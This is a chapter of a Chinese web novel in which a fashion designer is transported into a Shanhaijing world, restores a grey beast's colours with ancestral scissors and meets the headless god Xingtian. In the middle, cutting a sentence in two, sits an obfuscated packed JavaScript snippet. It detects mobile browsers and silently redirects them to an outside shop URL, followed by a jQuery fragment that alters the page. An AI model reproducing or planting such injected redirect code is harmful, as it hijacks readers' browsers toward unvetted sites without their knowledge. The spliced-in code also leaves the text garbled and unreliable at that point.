林漫觉得自己这辈子最大的悲剧，不是三十岁还没办过个人秀，不是方案被甲方改了四十七版，而是——她连自己最后一场秀的 T 台都没来得及铺完。
“漫姐，峡谷那边信号不好，你真的要在这儿拍？”
助理小周的声音从手机里传来，断断续续得像被风吹散的纸片。
林漫蹲在太行山大峡谷的谷底，脚边摊着三个巨大的行李箱，里面塞满了她花了三个月设计的山海经主题服装。最后一箱里压着一件她用真丝和金属丝手工缝制的“西王母羽衣”，光是羽毛就粘了三千多片。
“信号不好也得拍。”林漫头也不抬，“明天就是截稿日，李总那边说了，这次方案再不过，我的品牌就别想上他们的平台。”
她把羽衣小心翼翼地从箱子里捧出来，夕阳正好穿过峡谷的缝隙，照在羽衣上。三千片羽毛泛起层层叠叠的金蓝色光芒，像是把整片晚霞缝进了布料里。每一片羽毛都是她亲手染的——从羽根的深蓝到羽尖的暖金，一片一片渐变。她做这件衣服的时候，想的不是甲方，想的是《山海经》里那句“西王母其状如人，豹尾虎齿而善啸，蓬发戴胜”。她想做的不是还原，是让那种“神性”从布料的纹理里自己长出来。
“真绝了。”林漫自言自语，“就算李总眼瞎，这衣服也不会瞎。”
小周在那边沉默了两秒：“漫姐，你又在骂甲方了。”
“我这是赞美。”林漫把羽衣挂到临时搭的衣架上，后退几步看整体效果，“赞美他们眼光独到，与众不同，能把好看的说成——算了不骂了，你帮我看看，灯光师到了没？”
“到了到了，已经在停车了。对了漫姐，李总那边刚才又发消息了。”小周的声音忽然变得小心翼翼。
“说什么？”
“他说……他说西王母羽衣的三千片羽毛，能不能改成三片。他说‘这样更简洁，更符合现代审美’。”
林漫的手停在半空中。
“三片。”她说，声音平静得不像自己，“三千片改成三片。”
“他说这样更——”
“简洁你大爷。”林漫骂出来了，声音不大，但每一个字都像是从牙缝里挤出来的，“他知道我染这三千片羽毛染了多久吗？一片一片染，从深蓝到暖金，每一片的渐变都不一样。他管这叫‘不简洁’？”
小周不敢接话。
林漫深吸一口气，把手机从耳边拿开，看着屏幕上李总发来的那行字——“小林啊，羽毛太多了，三片就够了，简洁大气。”她盯着那行字看了三秒，然后把手机翻过来，屏幕朝下，扣在器材箱上。
“拍。”她说，“按原方案拍。三千片，一片都不准少。”
摄影师远远走过来，冲她比了个 OK 的手势。林漫回了个拇指，然后蹲下来打开最后一个行李箱。
这个箱子里装的不是衣服，是道具——她花了两周时间手工打磨的一批“上古器物”仿制品。陶罐、骨针、石斧……每一样都做旧处理，连裂纹都是用茶水和泥巴一点点养出来的。她做这些道具的时候，小周问她为什么不直接买现成的，她说“买来的旧是假的旧，养出来的旧是真的旧”。小周说她疯了，“做设计的人哪个不疯。”
箱子的最底下，是一把剪刀。
不是普通剪刀。
那是林漫的外婆留给她的，外婆说这是她外婆的外婆传下来的，少说有百来年历史。剪刀的造型很奇怪，不像普通的裁缝剪，反而更像某种仪式的器物——两条刃口微微上翘，像展翅的鸟，柄上刻着密密麻麻的纹路，林漫一直没看懂那是什么。她问过外婆，外婆只说“你以后会懂的”。后来外婆走了，那句话就留在剪刀上，再也没人解释过。
她拿起来，剪刀在夕阳下泛出暗沉沉的铜绿色。刃口已经磨得很薄了，但一点都不钝——说来也怪，这把剪刀从来不需要磨，用多久都锋利。她试过用现代的金刚石磨刀石，磨不动，刃口连一丝痕迹都没有。
“你这把破剪子，”林漫对着它说，“你跟着我从美院毕业，跟着我租房、吃泡面、被甲方骂，跟着我做了七年的衣服。今天这场拍好了，咱就能翻身；拍不好——”
她顿了顿，把剪刀揣进兜里。
“拍不好我就把你熔了打戒指。”
剪刀在她兜里微微震了一下。
林漫没在意，她觉得那是峡谷的风。
她把应急包也塞进背包里。压缩饼干、打火机、一卷彩色线、几张碎布头、一支口红、一把小剪刀——做样衣用的那种，不是老剪刀。最后，她犹豫了一下，把曾祖母的笔记本也放了进去。
那是她临走前从抽屉最深处翻出来的。封面上用钢笔写着“林织，民国二十三年”。她曾祖母的名字。笔记本很旧了，纸页泛黄，边缘卷曲，有些地方被水渍晕开了字迹。林漫小时候翻过，看不懂，后来就忘了。不知道为什么，今天早上收拾行李的时候，她忽然很想带上它。也许是因为这次拍的是山海经，而曾祖母的笔记本里画满了异兽——九尾狐、刑天、应龙、巴蛇，一页一只，线条简单但姿态生动。每只异兽旁边都标注着名字和地点，像一本手绘的《山海经》图鉴。
她把笔记本塞进背包最里层，拉上拉链。
拍摄开始得很顺利。
模特穿着“西王母羽衣”站在岩画前，夕阳刚好落在她的肩膀上，三千片羽毛像是被点燃了一样，从金到蓝到紫，层层过渡。摄影师激动得手都在抖，连按快门的声音像机关枪。
“好！好！保持住！林漫你这衣服绝了！”
林漫站在监视器后面，嘴角忍不住往上翘。
确实绝。她花了三个月，从《山海经》的文本里提取出十八种异兽的元素，把它们转化成服装的语言——九尾狐的百变用层叠的流苏和可拆卸的披肩来表达，应龙的威严用金属质感的翼状肩章来表达，西王母的神性用不对称的剪裁和大量的留白来表达。李总说“太复杂了”，她说“复杂就是山海经的语法”。李总没听懂，但也没再坚持——直到今天下午那条“三片羽毛”的消息。
“下一套！”林漫拍了拍手，“换‘应龙’那套！”
模特正要转身，峡谷里突然起风了。
不是普通的风。
那风从谷底往上吹，像是有什么东西在地底下呼吸。岩壁上的岩画开始发亮——那些歪歪扭扭的人形和兽形，那些用赭红色线条勾勒的古老图案，像是活过来了一样，扭动着、流动着，从岩壁上剥离下来，在空中盘旋。
“卧槽——”摄影师扔下相机就跑。
模特尖叫着蹲下，羽衣上的羽毛被风吹得漫天飞舞。三千片羽毛，一片一片，在空中打着旋，像一场逆向的雪。林漫看着那些羽毛从她眼前飘过——深蓝的、金黄的、暖橙的、月白的——每一种颜色都是她亲手染的，每一片羽毛飘走的时候，她都觉得自己心里有什么东西被连根拔起。
但她没有跑。
不是她胆子大，而是她的右手——揣着剪刀的那只手——像是被什么东西攥住了。剪刀在她兜里疯狂地震动，那种频率不是机械的震颤，而是某种共鸣，像剪刀在回应什么。震动从掌心传上来，沿着手腕传到手臂，从手臂传到胸口，她的心脏也跟着那个频率跳了一下。不是害怕，是一种她说不清楚的感觉——像等了很久的东西，终于来了。
岩画上的线条越聚越多，最后凝成了一道光门。
那门是竖着的，像一道裂缝，边缘是流动的赭红色，里面是灰蒙蒙的、什么也看不清的虚空。光门在夕阳下微微振动，振动的频率和她兜里那把剪刀的频率完全一样。
林漫的大脑在那一瞬间飞速运转。
她的第一反应不是害怕，而是——我的羽衣！三千片羽毛！
“等等！”她冲着那道光门喊，“我秀场还没布置完！”
没人听她的。
光门里传来一股巨大的吸力，像是有一只无形的手直接攥住了她的灵魂往外拽。林漫只来得及抓住脚边那件“应龙”肩章——金属翼状，她花了一周时间打磨的——然后整个人就被吸了进去。背包带子勒进她的肩膀，帆布鞋的鞋底在岩石上蹭出两道白印。
兜里的剪刀发出一声清越的鸣响，像是在欢呼。
林漫的最后一点意识，是听见小周在峡谷上面喊：“漫姐——你怎么飞了——！”
然后就是黑暗。
然后是坠落。
然后是——
“砰。”
林漫感觉自己像是被人从三楼扔下来的快递包裹，脸朝下砸在了一片柔软但很臭的东西上。她趴在那儿缓了十秒钟，才慢慢撑起身体。第一反应：手还在，脚还在，剪刀还在兜里。第二反应：背包还在，曾祖母的笔记本还在。第三反应：这什么味儿啊？！
她站起来，发现自己掉在了一堆……干草垛上？
不，不是干草垛。是某种更粗糙的东西——灰色的，干枯的，像是被石化了很久的植物堆在一起。她拍了拍身上的灰，环顾四周。
周围是一片灰蒙蒙的旷野。天空是没有颜色的灰白，像是有人把整个世界的美术滤镜调成了“黑白照片”。地上长着的草也是灰绿色的，远处有几棵树，树皮是灰褐色的，连树叶都是灰扑扑的。
空气里有一股味道。不是臭味，不是香味，是一种很淡很淡的、像旧布料和矿石颜料混合的气息。林漫吸了吸鼻子。这味道让她想起外婆的针线盒——外婆把曾祖母留下的碎布头都收在一个铁皮盒子里，每年夏天拿出来晒，晒的时候整间屋子都是这种味道。她不知道这个世界为什么会有同样的气味。也许只是巧合。
“这什么地方？”林漫掏出手机——没信号，没网络，时间显示她只过了两分钟。可她明明感觉自己在那个黑暗里坠落了至少一个小时。
她低头看了看左手腕。外婆送的老式机械表还在滴答作响，秒针稳健地画着圈。她把表举到耳边听了听——表是活的。可手机的系统时间却像一具被冻住的尸体，停在下午三点四十二分。她穿越的那一刻。
“一个在走，一个不动……”她皱起眉，心里掠过一丝凉意，“这破地方，连时间都是死的吗？”
她把手机揣回兜里，抬头看天。没有太阳，没有云，只有一片均匀的、令人窒息的灰色。那颜色让她想起李总办公室的墙壁——也是这种灰，不深不浅，没有任何情绪，像一张永远不会有表情的脸。
“这饱和度是认真的吗？零？”林漫对着天空吐槽，“我调色板都调不出这么绝望的灰。”
她环顾四周，发现自己站在一片旷野的边缘，远处有一座山。山的形状很奇怪，像是一个躺倒的人——不对，不是像，那山就是一个人形的轮廓。山顶是平的，像被一刀切开的脖子。山腰有两个对称的山洞，像两只眼睛。山腹有一个巨大的凹陷，像一张张开的嘴。
林漫眯着眼睛看了三秒钟，确认自己没看错。
“刑天？”她脱口而出。
《山海经·海外西经》里写：刑天与帝争神，帝断其首，葬之常羊之山。乃以乳为目，以脐为口，操干戚以舞。
林漫做山海经系列的时候，把这段话翻来覆去读了几十遍，早就背下来了。她当时觉得这个故事太疯了——一个被砍了头的人，用□□当眼睛、肚脐当嘴巴，继续挥舞盾牌和斧头。她想把这种“疯”做进设计里，但做了七版方案，每一版都被李总否了。李总说“太激烈了，温和一点”。她说“刑天就是激烈的”。李总说“那你就不要做刑天”。
她做了。只是没给李总看。
如果那座山真的是刑天——那她穿越到哪里，就很清楚了。
“山海经？”林漫愣在原地，“我穿进了山海经？”
她低头看了看自己：黑色 T 恤，破洞牛仔裤，帆布鞋，兜里一把老剪刀，手里攥着一件“应龙”肩章。背包里还有压缩饼干、打火机、彩色线、碎布头、口红——和曾祖母的笔记本。
“就这身装备？”
她深吸一口气，强迫自己冷静下来。不是冷静，是假装冷静。她的手在抖，腿也在抖，但她不能让身体替脑子做决定。
地上的灰色石头吸引了她的注意。不是石头本身——是石头背面有一道划痕。极细极细，不是天然的裂纹，太直了，像是被什么锋利的东西划过。剪刀尖？她用拇指摸了摸划痕的边缘，手感很旧，不是新划的。被风化了很久。
她把石头扔掉了。但在扔掉的瞬间，她的手指轻轻颤了一下——不是她控制的，是兜里的剪刀自己震了一下。
她把剪刀从兜里抽出来，举到眼前。铜绿色的刃口在灰色的光线下泛着暗沉的光，柄上的纹路比之前更清晰了——她以前看不懂，现在突然觉得那些纹路像是某种地图，河流的走向、山脉的轮廓，都藏在里面。她用拇指摸了摸那些纹路，指尖能感觉到极细极细的凹凸，像盲文。
她想起曾祖母笔记本里画的那只九尾狐——阿狸。青丘。
如果曾祖母真的来过这里，那她一定也见过这些异兽。她画了它们，标注了它们的名字和地点，然后呢？她回去了吗？她把剪刀传给了外婆，外婆传给了母亲，母亲传给了她。但笔记本里那些画——那些异兽——她从来没有跟任何人提起过。
现在她站在这里，脚踩在灰色的旷野上，兜里揣着曾祖母的剪刀，背包里塞着曾祖母的笔记本。不是巧合。从来不是。
“先搞清楚这是什么地方，再想办法回去。”林漫对自己说，把剪刀别回腰间，“秀场还没办完，羽衣还在峡谷里，甲方还等着看方案。我不会就这么交代在这儿。”
她迈出第一步。
脚下的草地是软的，像是踩在棉花上。灰色的旷野没有风，空气是静止的，静止到连呼吸声都显得太响。她走了大概五十步，身后传来一阵窸窸窣窣的声音。
林漫转过身，看到了一只——
她不知道该怎么形容这东西。
从体型上看，它像一只猫，但比猫大，跟一只中型犬差不多。从形态上看，它像一只浣熊，但尾巴是分叉的，像三根毛茸茸的鞭子。从颜色上看——这才是最让林漫崩溃的——它是灰色的。不是银灰色，不是蓝灰色，不是任何一种有美感的灰色。就是灰色。那种你在一百种灰色色卡里都找不到的、毫无灵魂的、让人想哭的灰色。像是有人用橡皮擦把这只生物身上所有的颜色都擦掉了，只剩下底层的素描稿。
更让林漫崩溃的是，这只生物的眼神——空洞、麻木、没有任何情绪，像是眼睛里也被人擦掉了什么东西。那东西冲她呲了呲牙，发出一声沙哑的、难听的叫声。那叫声很难形容——不是猫叫，不是狗叫，不是任何一种她听过的动物叫声。更像是一种被压扁了的、被过滤掉了所有音调起伏的、只剩下频率的噪音。
林漫盯着它看了五秒钟。
然后她做了一件后来被刑天评价为“你跟你曾祖母一样嘴臭”的事。
“你这配色，”她说，发自内心地，“丑得我生理不适。”
那只兽愣住了。
它可能没想到，这个从天上掉下来的奇怪生物，开口第一句话居然是评价它的颜色。它的那只独眼——灰蒙蒙的，像一颗被磨砂过的玻璃珠——盯着林漫，脑袋微微歪了一下。
林漫蹲下来，没有急着动手。她先仔细观察了这只兽——她在心里已经给它安上了“讙”这个名字，因为它的形态和《山海经》里写的一模一样，除了颜色。《山海经》里写讙“其音如夺百声”，意思是它的叫声能模仿一百种声音。眼前这只讙，叫声只有一种——沙哑的、难听的噪音。像是有人把那一百种声音全部压扁、碾碎、搅在一起，变成了一种什么都没有的声音。
距离近了，她看得更清楚。这只讙身上不是没有颜色，而是颜色被什么东西“盖住”了。就像你在 Photoshop 里新建了一个灰色图层，把底下的所有颜色都压住了。如果你仔细看，能从灰色的缝隙里看到一点点原本的颜色——尾巴尖那里有一点暗红色，眼角有一点金色，前爪的爪垫有一点粉色。
但最让她在意的是，那层灰色不是均匀的。它有纹理——像树木的年轮，又像织物的经纬，顺着某个方向排列。从尾巴尖开始，向身体蔓延，一圈一圈，像涟漪。
“这不是染色，”林漫自言自语，“这是涂层。有纹理的涂层。顺着纹理剪能揭开，逆着剪会伤毛。”
她从兜里掏出剪刀，没有直接下剪，而是先用剪刀尖在讙尾巴尖的灰色涂层上轻轻挑了一下。她挑得很小心——像修画时挑开表面的霉斑，不能用力，要找到涂层和本体之间的那一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17727784|208890||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
层极细极细的缝隙。
剪刀尖陷进去一丝。
涂层裂开一道细缝，底下露出一小截暗红色。
讙抖了一下，但没有躲。它那只独眼——灰蒙蒙的，像被磨砂过的玻璃珠——盯着林漫的手，瞳孔深处有什么东西在动。不是光，是比光更早的东西。是“等”。
林漫见过这种眼神。她以前在面料市场捡废料的时候，那些被扔掉的、被剪坏的、被遗忘的布料，就是这种眼神。不是乞求，不是期待，是一种很平静的“我知道我可能不会被选中，但我还是在这里”。
“你看，”林漫说，声音不自觉地放轻了，“顺着纹理走，就能揭起来。就像修复油画，你得顺着裂纹走，不能硬撕。”
她把剪刀刃的角度调整好，对准那条纹理的走向，轻轻剪了下去。
不是剪毛，是剪涂层。剪刀刃划过灰色的表面，像揭开一张贴膜，灰色从尾巴尖开始剥离，露出底下暗红色的毛发。那暗红色不是染上去的——是它本来的颜色。被灰色压了太久，红得有点发暗，像被埋在土里很久的朱砂。
讙的身体猛地一颤。
它的嘴张开了，但没有发出声音。那只灰蒙蒙的独眼里，有什么东西在裂开——不是眼球裂开，是那层灰色的涂层，从瞳孔中心开始，出现了一道极细极细的裂纹。裂纹里透出光来。金色的光，很弱，像一只快要熄灭的灯泡，但确实在亮。
林漫又剪了两刀。每一刀都顺着纹理走，每一刀都揭开一小片灰色。暗红、金棕、银白——三种颜色从尾巴尖蔓延出来，像水彩在宣纸上晕染，顺着尾巴的纹路往下淌。最后，三条尾巴变成了渐变色：尾尖是暗红，中段是金棕，根部是银白，三种颜色交汇的地方融合成一种温暖的、像琥珀一样的光泽。
讙低下头，看着自己的尾巴。它的独眼——现在是金色的了，亮晶晶的，像一颗刚从土里挖出来的琥珀——盯着那些颜色，一动不动。
林漫后退一步，看了看，皱了皱眉。
“还差点意思。”她从背包里掏出一块橙色的碎布头——本来是做样衣的边角料，她留着准备做拼布样本的——三两下剪成流苏，用别针别在讙的尾巴根部，“这样好了。”
橙色流苏垂下来，随着讙的尾巴摆动而晃动，像是三团小小的火焰。橙色和暗红、金棕、银白叠在一起，像日落时的天空——最下面是暗红，往上是金棕，再往上是银白，最顶上是橙色的云。
讙转过头，看到自己的尾巴。
它愣住了。
然后它的眼睛——
那只独眼，金色的，亮晶晶的，像是一盏被点亮的灯。光不是从外面照进去的，是从里面自己发出来的。瞳孔深处有什么东西在融化——不是冰，是比冰更久的沉默。它张开嘴，叫了一声。不是之前那种沙哑的、难听的噪音。是清亮的、悠长的、像是能穿透整个旷野的鸣叫。
那声音在灰蒙蒙的天空下回荡，像一把钥匙，打开了某个被锁了很久的东西。远处的灰色草丛里，有什么东西动了一下。树上的灰色叶子，有一片轻轻颤了颤。
林漫被这声叫震得往后退了一步。
不是害怕，是——她说不清楚，就是心里某个地方被狠狠撞了一下。她做了七年的衣服，见过客户穿上她设计的礼服在镜子前流泪，见过模特在 T 台上因为一件衣服走路的姿势都变的自信，但从来没有过这种感觉。
这种感觉像是：你给一只被全世界遗忘的生物，找回了它的声音。不是给了它新的声音，是把它本来就有、但被夺走了的声音，还给了它。
“我这该死的泪点，”林漫抹了一把眼睛。
讙安静下来，走到她脚边，用脑袋蹭了蹭她的小腿。然后它做了一个小动作——用尾巴卷住林漫的手指，轻轻拉了一下，像是在说“跟我来”。它的毛触感变了——之前是灰扑扑的、粗糙的，现在露出来的部分柔软而温热，带着一种活物才有的温度。尾巴上的橙色流苏在她手背上扫过，痒痒的。
林漫蹲下来，伸手摸了摸它的头。“不丑了吧？”
讙眯起那只金色的眼睛，像是在笑。它的尾巴摇得更欢了，橙色流苏像三只小蝴蝶在跳。
就在这时，地面震了一下。
不是地震，是某种沉重的、有节奏的震动——咚、咚、咚——像是有什么巨大的东西在靠近。每一下震动，地面就颤一下，林漫的帆布鞋底能感觉到那股力量从脚底传上来，沿着腿骨往上爬。
林漫抬起头，看到那座人形山的方向，有一个黑影正在移动。
那黑影从山上走下来，每一步都踩得地面震颤。它的体型巨大，至少有三米高，无头，赤裸的上身肌肉虬结，□□的位置长着两只眼睛，肚脐的位置长着一张大嘴。它的左手拿着一面盾牌，右手拿着一把巨斧。干戚——盾与斧。
刑天。
但让林漫后背发凉的不是他的体型，而是他的影子。夕阳——如果那能叫夕阳的话——从他的身后照过来，在地上投下一道长长的影子。那影子里没有头，但影子在说话。影子的嘴一张一合，发出无声的音节，像是在念什么咒语。那口型反复重复着同一个词，林漫盯着看了几秒，读出来了——“自由”。影子在念“自由”。
林漫盯着那个影子看了两秒，感到一阵说不出的诡异。一个被砍了头的战神，影子在念“自由”。他的身体被标准化成了“无头之刑天”，但他的影子还记得他曾经为什么而战。
她没有跑。她把讙往怀里搂了搂，左手握着剪刀，右手攥着那件“应龙”肩章。
“来吧，”她小声说，“反正他一定知道让我回去的方法。”
远处，昆仑的方向，有一个白色的光点在灰色的天空中闪了一下。像是在注视。又像是在警告。
林漫没有回头。
她对着那个黑影，喊出了穿越后的第一句正式台词——不，第二句。第一句是骂配色。
“刑天！你这战袍也太丑了！要不要顺便也给你剪剪？”
刑天在距离她十步远的地方停下来。
他胸口的眼睛眨了两下，肚脐的嘴张开，发出一声低沉的笑。那笑声在山谷里回荡，不像笑，更像是一块巨大的岩石从山体上剥离、滚落、砸在地面上的声音。
“林家的女人，”他说，“果然都是这个德性。”
林漫把剪刀在指间转了一圈。她的手指还在微微发抖——不是因为害怕，是因为刚才给讙剪涂层时太紧张了，肌肉还没缓过来。但她的声音很稳。这是她穿越后遇到的第一个能说话的存在，她不能露怯。
“林家的女人怎么了？嘴毒手稳，专业裁缝。你呢？断头战神，衣品归零。咦？你刚才说了什么？”
没有立刻回答。他胸口的眼睛看着林漫，看了很久。那目光里有什么东西——不是愤怒，不是审视，是一种更深的、林漫读不太懂的情绪。像是他在透过她看另一个人。
刑天的肚脐嘴又弯了一下。
“应该是你曾祖母。”他说。
林漫的心脏猛跳了一下。曾祖母来过。曾祖母见过刑天。曾祖母站在这片灰色旷野上，手里握着这把剪刀，面对着这个无头的战神。她张了张嘴，想问更多——问曾祖母在这里做了什么，去了哪里，为什么回去之后什么都没说。但刑天已经转过身去了。
“走吧，”他伸出手掌，“带你去个地方。”
林漫把话咽回去。她知道现在不是追问的时候。她把讙往怀里搂了搂，爬上刑天的手掌。他的手掌很大，她坐在上面，腿都够不到边缘。掌心的皮肤粗糙得像树皮，有深深的裂纹——不是干燥引起的，是更深的，像干涸的河床。裂纹边缘是灰色的。
“什么地方？”她问。
“能让你活下去的地方。”刑天站起来，地面在他脚下变小，“也是你曾祖母来过的地方。”
林漫坐在他手心里，双腿晃荡着。她没有再问。但她把“她来过”这三个字，轻轻放在了心里。
风从旷野上吹过来，灰色的，但她的橙色流苏在风中亮得像一团火。
远处的白色光点又闪了一下。这次更亮。像是在说：我看到了。
林漫没有看它。她低头看着自己兜里的剪刀。剪刀是温的。像是有人的体温，从很久很久以前，传到了现在。